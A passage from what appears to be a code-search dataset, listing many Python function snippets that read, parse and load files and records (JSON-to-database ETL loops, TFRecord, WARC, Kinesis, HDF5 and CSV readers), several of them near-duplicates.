(\n inputfile, processeddir, str(e))\n logecho(errmsg, level='error')\n processed_logger.error(errmsg)\n\n processed = len(df.index) if 'df' in locals() else 0\n processed_details = '- FILE: %s START: %s END: %s ELAPSED: %s DUPES: %s/%s PROCESSED: %s' % (\n inputfile, starttime, endtime, elapsed, dupecount, dupesremoved, processed)\n processed_logger.info(processed_details)\n\n logecho(' Processed %s file/s...' % len(inputfiles))","def readTFRecord():\n #filenameQueue = tf.train.string_input_producer([tfName])\n dataset_fn = tf.data.TFRecordDataset\n _parse_fn = lambda x: parse_fn(x, is_train=False)\n \n # create a tf.data.Dataset from list of files\n filenames = tf.data.Dataset.list_files(\"./processed/train*.tfrecords\")\n dataset = filenames.apply(\n tf.data.experimental.parallel_interleave(dataset_fn, cycle_length=4))\n \n dataset = dataset.map(_parse_fn, num_parallel_calls=2)\n print('After dataset map: {}'.format(dataset))\n \n return make_iterator(dataset)","def psql_file_loader(spark, tbname):\n filelist_rdd = psql_loader(spark, tbname) \\\n .rdd.map(lambda x: Row(caseid=x.case_id, filepath=x.path + '/' + x.filename))\n return filelist_rdd","def process_data(cur, conn, filepath, func):\n # get all files matching extension from directory\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root,'*.json'))\n for f in files :\n all_files.append(os.path.abspath(f))\n\n # get total number of files found\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n\n # iterate over files and process\n for i, datafile in enumerate(all_files, 1):\n func(cur, datafile)\n conn.commit()\n print('{}/{} files processed.'.format(i, num_files))","def process_data(cur, conn, filepath, func):\n # get all files matching extension from directory\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root,'*.json'))\n for f in files :\n all_files.append(os.path.abspath(f))\n\n # get total number of files found\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n\n # iterate over files and process\n for i, datafile in enumerate(all_files, 1):\n func(cur, datafile)\n conn.commit()\n print('{}/{} files processed.'.format(i, num_files))","def cloud_files(self, cloud_bucket_name: str, credentials: Mapping, files_to_upload: List, private: bool = True) -> Iterator[str]:","def _read_in_chunks(self, file_object, blocksize=4096, chunks=-1,\n shard_index=None):\n i = 0\n while chunks:\n data = file_object.read(blocksize)\n if not data:\n break\n yield data\n i += 1\n\n chunks -= 1","def extract(infile, offset, output, payload, headers):\n\n compl_record = not (payload or headers)\n with open(infile, 'rb') as stream:\n stream.seek(offset)\n try:\n record = next(ArchiveIterator(stream))\n if compl_record:\n record.write(output)\n elif headers:\n record.headers.write(PythonIOStreamAdapter(output))\n output.write(b'\\r\\n')\n if record.is_http:\n record.http_headers.write(PythonIOStreamAdapter(output))\n output.write(b'\\r\\n')\n elif payload:\n buf = record.reader.read(4096)\n while buf:\n output.write(buf)\n buf = record.reader.read(4096)\n except StopIteration:\n return\n except (FastWARCError, OSError, ValueError) as e:\n click.echo(f'Failed to extract WARC record at offset {offset}: {str(e)}', err=True)","def process(\n self,\n bed_record: bed_pb2.BedRecord) -> Iterable[Tuple[str, bed_pb2.BedRecord]]:\n\n pacbio_molecule_name = preprocess_utils.get_pacbio_molecule_name(\n bed_record.name)\n if pacbio_molecule_name is not None:\n yield pacbio_molecule_name, bed_record","def process_data(cur, conn, filepath, func):\n\n # get all files matching extension from directory\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root, '*.json'))\n for f in files:\n all_files.append(os.path.abspath(f))\n\n # get total number of files found\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n\n # iterate over files and process\n for i, datafile in enumerate(all_files, 1):\n func(cur, datafile)\n conn.commit()\n print('{}/{} files processed.'.format(i, num_files))","def run_reading(self):\n # init objects\n pool = mp.Pool(mp.cpu_count())\n jobs = []\n\n m.info('Run csv reading...')\n # create jobs\n for chunk_start, chunk_size in self.chunkify():\n jobs.append(pool.apply_async(self.process_wrapper,\n (chunk_start, chunk_size)))\n\n # wait for all jobs to finish\n for job in jobs:\n job.get()\n\n # clean up\n pool.close()\n pool.join()\n\n m.info('CSV file reading has been completed')","def parse_records(raw_records: list) -> Generator[str, None, None]:\n for record in iter_deaggregate_records(raw_records):\n logger.debug(f\"Raw Kinesis record: {record}\")\n\n # Kinesis data is base64 encoded\n raw_data = base64.b64decode(record[\"kinesis\"][\"data\"])\n\n # decompress data if raw data is gzip (log data from CloudWatch Logs subscription filters comes gzipped)\n # gzip magic number: 0x1f 0x8b\n if raw_data[0] == 0x1F and raw_data[1] == 0x8B:\n raw_data = gzip.decompress(raw_data)\n\n data = raw_data.decode()\n payloads = normalize_cloudwatch_messages(data)\n logger.debug(f\"Normalized payloads: {payloads}\")\n\n for payload in payloads:\n yield payload","def process(self):\n\n from caput import memh5\n\n # Garbage collect to workaround leaking memory from containers.\n # TODO: find actual source of leak\n import gc\n\n gc.collect()\n\n if len(self.files) == 0:\n raise pipeline.PipelineStopIteration\n\n # Fetch and remove the first item in the list\n file_ = self.files.pop(0)\n\n self.log.info(\"Loading file %s\" % file_)\n\n cont = memh5.BasicCont.from_file(\n file_, distributed=self.distributed, comm=self.comm\n )\n\n if \"tag\" not in cont.attrs:\n # Get the first part of the actual filename and use it as the tag\n tag = os.path.splitext(os.path.basename(file_))[0]\n\n cont.attrs[\"tag\"] = tag\n\n return cont","def process_data(cur, conn, filepath, func):\n # get all files matching extension from directory\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root, '*.json'))\n for file in files:\n all_files.append(os.path.abspath(file))\n\n # get total number of files found\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n\n # iterate over files and process\n for i, datafile in enumerate(all_files, 1):\n func(cur, datafile)\n conn.commit()\n print('{}/{} files processed.'.format(i, num_files))","def process_data(cur, conn, filepath, func):\n # get all files matching extension from directory\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root, '*.json'))\n for f in files:\n all_files.append(os.path.abspath(f))\n\n # get total number of files found\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n\n # iterate over files and process\n for i, datafile in enumerate(all_files, 1):\n func(cur, datafile)\n conn.commit()\n print('{}/{} files processed.'.format(i, num_files))","def process_data(cur, conn, filepath, func):\r\n\r\n # get all files matching extension from directory\r\n all_files = []\r\n for root, dirs, files in os.walk(filepath):\r\n files = glob.glob(os.path.join(root,'*.json'))\r\n for f in files :\r\n all_files.append(os.path.abspath(f))\r\n\r\n # get total number of files found\r\n num_files = len(all_files)\r\n print('{} files found in {}'.format(num_files, filepath))\r\n\r\n # iterate over files and process\r\n try:\r\n for i, datafile in enumerate(all_files, 1):\r\n func(cur, datafile)\r\n conn.commit()\r\n print('{}/{} files processed.'.format(i, num_files))\r\n except Exception as e:\r\n print(e)","def process_data(cur, conn, filepath, func):\n\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root, '*.json'))\n for f in files:\n all_files.append(os.path.abspath(f))\n\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n\n for i, datafile in enumerate(all_files, 1):\n func(cur, datafile)\n conn.commit()\n print('{}/{} files processed.'.format(i, num_files))","def _parseRecords(self):\n # dict of parse methods for most common records that will be stored in structured arrays\n FLAG2METHOD = {'PS' : self.parseHighPassRecord,\n 'PC' : self.parseLowPassRecord,\n 'VD' : self.parseDigitalSValRecord}\n # dict of (record type, listname to store it in) tuples\n FLAG2REC = {'L' : (LayoutRecord, 'layoutrecords'),\n 'MS' : (SurfMessageRecord, 'messagerecords'),\n 'MU' : (UserMessageRecord, 'messagerecords'),\n 'PE' : (EpochRecord, 'epochrecords'),\n 'D' : (DisplayRecord, 'displayrecords'),\n 'VA' : (AnalogSValRecord, 'analogsvalrecords')}\n f = self.f\n while True:\n # returns an empty string when EOF is reached\n flag = f.read(2).rstrip(NULL).decode() # TODO: should this strip NULL?\n if flag == '':\n break\n # put file pointer back to start of flag\n f.seek(-2, 1) # TODO: unnecessary - doesn't this slow down parsing quite a bit?\n if flag in FLAG2METHOD: # these are the most common\n FLAG2METHOD[flag](f) # call the method\n elif flag in FLAG2REC:\n rectype, reclistname = FLAG2REC[flag]\n rec = rectype()\n rec.parse(f)\n #wx.Yield() # allow wx GUI event processing during parsing\n self._appendRecord(rec, reclistname)\n else:\n raise ValueError('Unexpected flag %r at offset %d' % (flag, f.tell()))\n #self.percentParsed = f.tell() / self.filesize * 100","def process(self, name):\n self.fileHandle = open(self.fileName, 'r+b')\n self.mm = mmap.mmap(self.fileHandle.fileno(), 0)\n positions = self.features[name]\n for position in positions:\n self.mm.seek(position)\n row = self.mm.readline().decode('utf-8').rstrip().split(\"\\t\")\n attributes = row[-1].split(\"; \")\n _eid = '-'\n _enb = '0'\n for attribute in attributes:\n if attribute.startswith(\"transcript_type\"):\n _tt = attribute.split(\" \")[-1][1:-1]\n elif attribute.startswith(\"transcript_id\"):\n _tid = attribute.split(\" \")[-1][1:-1]\n elif attribute.startswith(\"exon_id\"):\n _eid = attribute.split(\" \")[-1][1:-1]\n elif attribute.startswith(\"exon_number\"):\n _enb = int(attribute.split(\" \")[-1])\n elif attribute.startswith(\"gene_name\"):\n _gn = attribute.split(\" \")[-1][1:-1]\n record = Record(scaffold=row[0], start=int(row[3]), end=int(row[4]),\n strand=row[6], transcript_type=_tt, transcript_id=_tid, exon_id=_eid,\n exon_number=_enb, gene_name=_gn)\n yield record\n self.fileHandle.close()","def run_on_file(filename):\r\n try:\r\n f = open(filename, \"r\")\r\n rows = f.read()\r\n f.close()\r\n except IOError:\r\n print \"The file does not exist, exiting gracefully\"\r\n rows=None\r\n yield rows","def process_data(cur, conn, filepath, func):\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root,'*.json'))\n for f in files :\n all_files.append(os.path.abspath(f))\n\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n\n for i, datafile in enumerate(all_files, 1):\n func(cur, datafile)\n conn.commit()\n print('{} files processed.'.format(num_files))","def process_data(cur, conn, filepath, func):\n # get all files matching extension from directory\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root,'*.json'))\n for f in files :\n all_files.append(os.path.abspath(f))\n\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n\n for i, datafile in enumerate(all_files, 1):\n func(cur, datafile)\n conn.commit()\n print('{}/{} files processed.'.format(i, num_files))","def read_all_runs(hdf5_file):\n with pd.HDFStore(hdf5_file) as store:\n\n for key in store.keys():\n df = store.get(key)\n\n ## Load ancestor (up to symmetry) who generated the panel for\n ## this validaiton sim\n sym_gen_anc = store.get_storer(key).attrs.sym_gen_anc\n\n if df.shape[0] == 300000:\n yield df, sym_gen_anc\n else:\n print \"Wrong shape!\", df.shape","def process_data(db_cursor, filepath, func):\n\n # Get all files matching extension from directory\n all_files = []\n for root, _, files in os.walk(filepath):\n files = glob.glob(os.path.join(root, '*.json'))\n for f in files:\n all_files.append(os.path.abspath(f))\n\n num_files = len(all_files)\n print(f'{num_files} files found in {filepath}')\n\n # iterate over files and process\n for i, datafile in enumerate(all_files, 1):\n func(db_cursor, datafile)\n print(f'{i}/{num_files} files processed.')","def _olympic(olympic_directory, profiles):\n # Initialize key variables\n alldata = []\n\n # Get a list of files in the meet directory\n files = os.listdir(olympic_directory)\n filenames = ['{}{}{}'.format(\n olympic_directory, os.sep, nextfile) for nextfile in files]\n\n for _filename in sorted(filenames):\n # Get rid of excess os.sep separators\n pathitems = _filename.split(os.sep)\n filename = os.sep.join(pathitems)\n\n # Skip obvious\n if os.path.isfile(filename) is False:\n continue\n if filename.lower().endswith('.xlsx') is False:\n continue\n\n # Print progress\n print('Processing file: {}'.format(filename))\n\n # Get event data\n data = results.FileOlympics2016(filename, profiles)\n\n meet_results = data.allresults_csv(stage=None)\n for item in meet_results:\n alldata.append(item)\n\n return alldata","def file_reader(self, filename):\n\n for chunk in pd.read_csv(filename, chunksize = Reader.chunksize,delimiter='_'): \n yield chunk","def chunk_content(self):\n entries = DataObject.objects.filter(uuid=self.uuid)\n for entry in entries:\n if entry.compressed:\n data = BytesIO(entry.blob)\n z = zipfile.ZipFile(data, \"r\")\n content = z.read(\"data\")\n data.close()\n z.close()\n yield content\n else:\n yield entry.blob","def iterRegularFileContents(self):\n unpack = {}\n for (oldFileId, newFileId), stream in self.files.iteritems():\n if not files.frozenFileHasContents(stream):\n continue\n if files.frozenFileFlags(stream).isEncapsulatedContent():\n continue\n cont = files.frozenFileContentInfo(stream)\n unpack[newFileId] = cont.sha1()\n\n want_tag = '0 ' + ChangedFileTypes.file[4:]\n while True:\n f = self._nextFile()\n if not f:\n break\n name, tag, fobj, csf = f\n if len(name) != 36 or tag != want_tag:\n continue\n fileId = name[16:]\n sha1 = unpack.get(fileId)\n if not sha1:\n continue\n yield sha1, fobj","async def stream_result_files(self) -> AsyncGenerator[StreamInfoUrl, None]:\n for dataset in self.datasets:\n async for file in dataset.get_data_rootfiles_stream(self.query.value()):\n yield file","def process(marc_filepath):\n start = datetime.datetime.utcnow()\n click.echo(\"Started transforming MARC to BF at {} for {}\".format(\n start.isoformat(),\n marc_filepath))\n for i, marc_xml in enumerate(extract(marc_filepath)):\n bf_rdf = transform(marc_xml)\n load(bf_rdf)\n if not i%100 and i > 0:\n click.echo(\".\", nl=False)\n if not i%1000:\n click.echo(i, nl=False)\n end = datetime.datetime.utcnow()\n click.echo(\"Finished ETL for {} at {}, total time={} minutes\".format(\n marc_file,\n end.isoformat(),\n (end-start).seconds / 60.0))","def inner():\n for line in file_obj:\n logdata = tilak_haproxylog.parse_line(line)\n if logdata is not None:\n logdata[\"hits\"] = 1\n for value_key in value_keynames:\n if value_key not in logdata:\n logdata[value_key] = 0\n status_code = int(logdata[\"status_code\"])\n if 100 <= status_code <= 199:\n logdata[\"rsp_1xx\"] = 1\n elif 200 <= status_code <= 299:\n logdata[\"rsp_2xx\"] = 1\n elif 300 <= status_code <= 399:\n logdata[\"rsp_3xx\"] = 1\n elif 400 <= status_code <= 499:\n logdata[\"rsp_4xx\"] = 1\n elif 500 <= status_code <= 599:\n logdata[\"rsp_5xx\"] = 1\n else:\n logdata[\"rsp_other\"] = 1\n ret_data = dict(zip(index_keynames, (logdata[index_key] for index_key in index_keynames)))\n ret_data.update(dict(zip(value_keynames, (logdata[value_key] for value_key in value_keynames))))\n yield (logdata[\"ts\"], ret_data)","async def collect_file(self, file):\n with open(file, \"wb\") as f: # Opening file as writable in bytes\n\n total_bytes = 0\n while True:\n self.reader._eof = False # Force to read\n data = await self.reader.read(1024)\n\n # Get buffer using BytesIO\n chunk = io.BytesIO(data)\n\n total_bytes += chunk.getbuffer().nbytes\n\n # last_four = data[:-4].decode(\"utf-8\")\n # last_four = chunk.getvalue()[-1:]\n last_four = chunk.getvalue()\n # print((last_four))\n\n check = \"end\"\n\n # print(check.encode())\n\n if last_four == check.encode():\n print(\"Not Data\")\n break\n\n f.write(chunk.getvalue())\n print(f\"Collected: {total_bytes!r} bytes\")","def read_log(self, path):\n for row in open(path):\n yield row","def records_from_file(filename):\n \n infile = open(filename)\n contents = infile.readlines()\n final_result = []\n for values_in_datasheet in contents[1: ]:\n result = values_in_datasheet.strip().split(',')\n course_tuple = tuple(result[0:2])\n student_id = int(result[2])\n first_name = result[3]\n last_name = result[4]\n student_tuple = (student_id, first_name, last_name)\n both_tuples_combined = (course_tuple, student_tuple)\n final_result.append(both_tuples_combined)\n \n return final_result","def process_data(cur, conn, filepath, func):\n # get all files matching extension from directory\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root,'*.json'))\n for f in files :\n all_files.append(os.path.abspath(f))\n\n # get total number of files found\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n\n # iterate over files and process\n for i, datafile in enumerate(all_files, 1):\n # use the func to insert data from these files to database's fact and dim tables\n func(cur, datafile)\n conn.commit()\n print('{}/{} files processed.'.format(i, num_files))","def processSetOfCerFiles(files):\n printHeader()\n \n k = 0\n for f in files:\n k = k + 1\n sz = get_file_size(f)\n with open(f, 'rb') as fb:\n processCerFile(k, fb, sz=sz)","def find_records():\r\n\r\n print(\"begin find records\")\r\n\r\n study_list = retrieve_ref('study_list')\r\n sensor_list = retrieve_ref('sensor_list')\r\n # sensor_unit_list = retrieve_ref('sensor_unit_list')\r\n\r\n for study in study_list:\r\n # print('study = ' + str(study))\r\n source_path = os.path.join(study, 'source')\r\n # print('source_path = ' + str(source_path))\r\n\r\n source_folders = os.listdir(source_path)\r\n # print(str(study) + ' source_folders = ')\r\n # print(source_folders)\r\n\r\n df_meta = pd.DataFrame()\r\n df_meta['source_path'] = source_folders\r\n save_meta(study, df_meta)\r\n record_to_summary(study, 'Records found', str(len(source_folders)))\r\n\r\n print(\"completed find records\")","def read_data(self, filename, chunksize = 2048):\n pdt_tipsy = np.dtype([('mass', 'f4'),('pos', 'f4', 3),('vel', 'f4', 3), ('eps', 'f4'), ('phi', 'f4')])\n\n # helper functions\n def convert_to_fof_particle_partition(index, iterator): \n for s in iterator: \n p_arr = np.frombuffer(s, pdt_tipsy)\n new_arr = np.zeros(len(p_arr), dtype=pdt)\n new_arr['pos'] = p_arr['pos'] \n if count: \n npart_acc.add({index: len(new_arr)})\n yield new_arr\n\n def set_particle_IDs_partition(index, iterator): \n p_counts = partition_counts.value\n local_index = 0\n start_index = sum([p_counts[i] for i in range(index)])\n for arr in iterator:\n arr['iOrder'] = range(start_index + local_index, start_index + local_index + len(arr))\n local_index += len(arr)\n yield arr\n \n sc = self.sc\n\n rec_rdd = sc.binaryRecords(filename, pdt_tipsy.itemsize*chunksize)\n nPartitions = rec_rdd.getNumPartitions()\n # set the partition count accumulator\n npart_acc = sc.accumulator({i:0 for i in range(nPartitions)}, dictAdd())\n count=True\n # read the data and count the particles per partition\n rec_rdd = rec_rdd.mapPartitionsWithIndex(convert_to_fof_particle_partition)\n rec_rdd.count()\n count=False\n\n partition_counts = sc.broadcast(npart_acc.value)\n\n rec_rdd = rec_rdd.mapPartitionsWithIndex(set_particle_IDs_partition)\n rec_rdd = (self._partition_rdd(rec_rdd, partition_array).partitionBy(self.nPartitions) \n .map(lambda (_,v): v, preservesPartitioning=True)) \n return rec_rdd","def process_data(cur, conn, filepath: str, func: Callable) -> None:\n # get all files matching extension from directory\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root, \"*.json\"))\n for f in files:\n all_files.append(os.path.abspath(f))\n\n # get total number of files found\n num_files = len(all_files)\n print(\"{} files found in {}\".format(num_files, filepath))\n\n # iterate over files and process\n for i, datafile in enumerate(all_files, 1):\n func(cur, datafile)\n conn.commit()\n print(\"{}/{} files processed.\".format(i, num_files))","def deserialize_next_from_file(self):\n # We cannot read from a file unless the user provides it in the\n # constructor.\n if not self._input_file:\n raise Exception(\"No input file provided to deserialize from.\")\n\n with quickavro.FileReader(self._input_file) as reader:\n for record in reader.records():\n yield record","def __readSiftsSummaryFile(self, filePath, rowFormat=\"dict\"):\n try:\n mU = MarshalUtil()\n cL = mU.doImport(filePath, fmt=\"csv\", rowFormat=rowFormat)\n logger.debug(\"Container list %d\", len(cL))\n except Exception as e:\n logger.exception(\"Failing with %s\", str(e))\n return cL","def run(self):\n lineage_csv_gz = self.input_files_local[0][0]\n output_db = self.output_files_local()[0]\n log.write(f\"input: {lineage_csv_gz} output: {output_db}\")\n\n with IdSeqDictForUpdate(output_db, IdSeqDictValue.VALUE_TYPE_ARRAY) as lineage_dict:\n batch_list = {}\n with gzip.open(lineage_csv_gz, \"rt\") as gzf:\n for line in gzf:\n fields = line.rstrip().split(\",\")\n taxid = fields[0]\n species, genus, family = fields[-1:-4:-1]\n batch_list[taxid] = [species, genus, family]\n if len(batch_list) >= BATCH_INSERT_SIZE:\n lineage_dict.batch_inserts(batch_list.items())\n batch_list = {}\n lineage_dict.batch_inserts(batch_list.items())","def parse_file(fits_file, data_offset, records, record_length, field_position, field_size):\n bits = field_size * 8\n\n with open(fits_file, 'rb') as f:\n f.read(data_offset)\n for _ in range(0, records):\n record = f.read(record_length)\n value = record[field_position-1:field_position+field_size-1]\n print(multiparse(bits, value))","def __iter__(self):\n with open(self.fn + \".fai\") as fai:\n for toks in (l.rstrip(\"\\r\\n\").split(\"\\t\") for l in fai):\n yield toks[0], int(toks[1])","def process_data(cur, conn, filepath, func):\r\n # get all files matching extension from directory\r\n all_files = []\r\n for root, dirs, files in os.walk(filepath):\r\n files = glob.glob(os.path.join(root, '*.json'))\r\n for f in files:\r\n all_files.append(os.path.abspath(f))\r\n\r\n\r\n\r\n # iterate over files and process\r\n for datafile in all_files:\r\n func(cur, datafile) ######### de function zy procces song file bta5od l filepath w currsor\r\n conn.commit()\r\n\r\n return all_files","def _read_swig(self, swigfile_handle, on_disk = False):\n for line in swigfile_handle():\n sequence, position, reverse, forward = line.rstrip(\"\\r\\n\").split()\n self._coverage[(sequence, position)] = (int(reverse), int(forward))","def split_stream(stream):\n buf = []\n for row in stream:\n row = text_type(row, 'utf8')\n index = row.rfind('</record>')\n if index >= 0:\n buf.append(row[:index + 9])\n for blob in split_blob(''.join(buf)):\n yield blob.encode('utf8')\n buf = [row[index + 9:]]\n else:\n buf.append(row)","def parse_job_file(filepath: str) -> List[dict]:\n ID_COL_NAME = 'Job Id'\n LABELS_COL_NAME = 'Qualification Labels'\n result = []\n with open(filepath, encoding='utf-8') as file:\n reader = csv.DictReader(file, delimiter=',', quotechar='\"')\n reader.fieldnames = [field.strip() for field in reader.fieldnames]\n for row in reader:\n if row[LABELS_COL_NAME].strip() != '':\n result.append({\n 'job_id': row[ID_COL_NAME],\n 'job_url': f'https://jhu.joinhandshake.com/jobs/{row[ID_COL_NAME]}',\n 'qualification_labels': [label.strip() for label in row[LABELS_COL_NAME].split(', ')]\n })\n return result","def _extract(self):\r\n self._data = []\r\n for fname in self.files:\r\n meta = dict(filename=fname)\r\n\r\n # Perform the actual metadata extraction\r\n fname = os.path.splitext(self.filter_filename(fname))[0]\r\n values = fname.split(self.sep)\r\n\r\n # Handle the case where number of fields is less than the length\r\n # of the extracted values, ie cases where we only want to extract\r\n # a subset of available fields.\r\n if self.index:\r\n values = [val for i, val in enumerate(values) if i in self.index]\r\n\r\n meta.update(dict(zip(self.fields, values)))\r\n if self.split_by in self.fields:\r\n meta[self.split_by] = self._get_split_field_values(meta['filename'])\r\n self._data.append(meta)"],"string":"[\n \"def redshift_file_loader(spark, tbname, tmpdir):\\n filelist_rdd = redshift_loader(spark, tbname, tmpdir) \\\\\\n .rdd.map(lambda x: Row(caseid=x.case_id, filepath=x.path + '/' + x.filename))\\n return filelist_rdd\",\n \"def test_iterate_over_stream():\\n archive = Archive()\\n archive.commit(doc=DataFrameDocument(df=DF1))\\n rows = list()\\n with archive.open(version=0).open() as reader:\\n for row in reader:\\n rows.append(row)\\n assert rows == [\\n (0, 0, ['Alice', 32]),\\n (1, 1, ['Bob', 45]),\\n (2, 2, ['Claire', 27]),\\n (3, 3, ['Alice', 23])\\n ]\",\n \"def iterate_records(self, zone):\\n records = self._to_records(zone)\\n yield from records\",\n \"def process_file(filename):\\n print \\\"Reading and Parsing File: {}\\\".format(filename)\\n parsed_entries = file_parser(filename)\\n print \\\"Starting to Process Entries\\\"\\n chunked_entires = chunk_entries(parsed_entries)\\n return [process_entries(entry) for entry in chunked_entires]\",\n \"def process_files(exp_folders):\\n pool = mp.Pool()\\n results = pool.imap_unordered(read_and_serialize, exp_folders)\\n\\n stat = []\\n for res in results:\\n print(res)\\n stat.append(res)\\n\\n pool.close()\\n pool.join()\",\n \"def parse_records(self):\\n for record in sp.parse(gzip.open(\\n \\\"./human_uniprot_04_07_20.gz\\\", 'rt')):\\n # print(record.taxonomy_id)\\n # if record.organism != \\\"Homo sapiens\\\":\\n # continue\\n # print(record.features[0])\\n # for comment in record.comments:\\n # if comment.startswith(\\\"SUBCELLULAR LOCATION\\\"):\\n # print(comment)\\n self.extract_features_to_dict(record)\\n self.extract_localization(record)\",\n \"def process_data():\\n for message in get_messages_from_sqs():\\n try:\\n message_content = json.loads(message.body)\\n input_file = urllib.unquote_plus(message_content\\n ['Records'][0]['s3']['object']\\n ['key']).encode('utf-8')\\n s3.download_file(input_bucket_name, input_file, input_file)\\n output_file = os.path.join(output_dir, os.path.splitext(input_file)[0]+'.csv')\\n parse_patient_data(input_file, output_file)\\n upload_data(output_file)\\n cleanup_files(input_file, output_file)\\n except:\\n message.change_visibility(VisibilityTimeout=0)\\n continue\\n else:\\n message.delete()\",\n \"def _read_recs(basedir):\\n for borotag in boro_tags:\\n datafile = \\\"%s/%s.csv\\\" % (basedir,borotag)\\n print(\\\"slurp '%s' ..\\\" % datafile)\\n recs = read_recs(datafile)\\n yield from (pluto.parse.normalize(r) for r in recs)\",\n \"def walk(self):\\n data = open(self.data_file_path, 'rb')\\n read_metric = globals()[\\\"ProtoDefinition\\\"].Payload()\\n read_metric.ParseFromString(data.read())\\n\\n # One record for the whole file\\n self.payload_metadata = read_metric.payloadMetadata\\n self.device = read_metric.device\\n\\n # Get list of all *repeated* field types\\n field_names = []\\n for field_desc in read_metric.DESCRIPTOR.fields:\\n field_name = field_desc.name\\n\\n if field_desc.label == field_desc.LABEL_REPEATED:\\n field_names.append(field_name)\\n\\n # For each repeated field type, get the data and yield one item at a time\\n for field_name in field_names:\\n stream_samples = getattr(read_metric, field_name)\\n for sample in stream_samples:\\n yield self.device, sample\",\n \"def iter_records(self):\\n\\n decomp_type = 'gzip'\\n block_size = 16384\\n\\n self.reader = DecompressingBufferedReader(self.fh,\\n block_size=block_size)\\n self.offset = self.fh.tell()\\n\\n next_line = None\\n\\n while True:\\n try:\\n record = self._next_record(next_line)\\n yield record\\n except EOFError:\\n break\\n\\n self.read_to_end(record)\\n\\n # for non-compressed, consume blank lines here\\n if not self.reader.decompressor:\\n next_line = self._consume_blanklines()\\n if next_line is None:\\n # at end of file\\n break\\n\\n # reset reader for next member\\n else:\\n self.reader.read_next_member()\",\n \"def enumerate_files(self, table):\\n for i in range(self.nrofrecords()):\\n data = self.bank.readrec(i + 1)\\n if data and data[0] == table.tableid:\\n yield i + 1, data[1:]\",\n \"def __stream_records(filename: str, use_tqdm: bool, filter_minor: bool, max_los_clip: Optional[int],\\n max_samples: Optional[int], reshape: bool) -> Iterable[Tuple[np.array, int]]:\\n stream = read_records_csv(filename)\\n if use_tqdm:\\n stream = tqdm(stream, desc='Loading data', unit=' records')\\n emitted_samples = 0\\n for record in stream:\\n vector = vectorise_record(record)\\n los = vector['LENGTH_OF_STAY']\\n # Discard obviously bad data (negative LoS is impossible)\\n if los < 0:\\n continue\\n # Filter out \\\"minor\\\" records\\n if filter_minor and vector['IS_MAJOR'] != 1:\\n continue\\n # Clip LoS to a maximum value\\n if max_los_clip is not None:\\n los = min(los, max_los_clip)\\n if reshape:\\n yield reshape_vector(vector), los\\n else:\\n yield flatten_vector(vector), los\\n # Update stats\\n emitted_samples += 1\\n if use_tqdm:\\n stream.set_postfix_str(f'generated {emitted_samples} good records', refresh=False)\\n # If we've emitted enough samples, finish fast\\n if max_samples is not None and emitted_samples >= max_samples:\\n return\",\n \"def ingest():\\n\\n base_path = '/home/mnichol3/Coding/wx-scripts/wtlma'\\n\\n flash_files = ['flash-out-05232019-2050.txt',\\n 'flash-out-05232019-2100.txt',\\n 'flash-out-05232019-2110.txt',\\n 'flash-out-05232019-2120.txt',\\n 'flash-out-05232019-2130.txt',\\n 'flash-out-05232019-2140.txt',\\n 'flash-out-05232019-2150.txt']\\n\\n df_cols = ['start', 'end', 'duration', 'area', 'ctr_alt', 'ctr_lat', 'ctr_lon',\\n 'tot_energy']\\n\\n flash_df = pd.read_csv(join(base_path, flash_files[0]), sep=',', names=df_cols)\\n\\n for f in flash_files[1:]:\\n curr_path = join(base_path, f)\\n curr_df = pd.read_csv(curr_path, sep=',', names=df_cols)\\n flash_df = pd.concat([flash_df, curr_df], ignore_index=True)\\n\\n return flash_df\",\n \"def main(infile):\\n for i, frame in enumerate(read_lammpstrj(infile)):\\n data = frame_to_dict(frame)\\n print(i, data['timestep'], data['number of atoms'])\",\n \"def walk_files(self, field):\\n for case_bits in self.all_cases():\\n case_kws = self.get_case_kws(*case_bits)\\n\\n prefix = self.case_prefix(**case_kws)\\n suffix = self.case_suffix(**case_kws)\\n path_to_file = os.path.join(\\n self.data_dir,\\n self.case_path(**case_kws),\\n prefix + field + suffix,\\n )\\n\\n yield case_kws, path_to_file\",\n \"def _iter_over_meshes(self):\\n for filename in self._storage.list_files(prefix='mesh/{}'.format(self.prefix)):\\n match = re.search(r'(\\\\d+):(\\\\d+):(.*)$',filename)\\n if not match: # a manifest file will not match\\n continue\\n _id, lod, chunk_position = match.groups()\\n _id = int(_id); lod = int(lod)\\n if lod != self.lod:\\n continue\\n\\n yield _id, lod, chunk_position\",\n \"def files_list_reduce(filename, fieldnames):\\n\\n parameters = []\\n with open(filename) as csv_file:\\n\\n reader = csv.DictReader(csv_file, fieldnames=fieldnames)\\n iterRows = iter(reader)\\n next(iterRows)\\n for row in iterRows:\\n if row['index'] == '':\\n continue\\n if row['index'] == 'END':\\n break\\n parameters.append(row)\\n return parameters\",\n \"def process_data(fileprefix=DEFAULT_FILE_PREFIX):\\n\\n # TODO wow this is uggo code\\n FILE_PREFIX = fileprefix\\n\\n MAX_SAMP=1500\\n\\n # Get data from file\\n tf_record_file_names = [join(FILE_PREFIX, f) for f in listdir(FILE_PREFIX) if isfile(join(FILE_PREFIX, f)) and 'tfrecord' in f]\\n assert len(tf_record_file_names) > 0\\n\\n dataset_it = iter(tf.data.TFRecordDataset(tf_record_file_names, 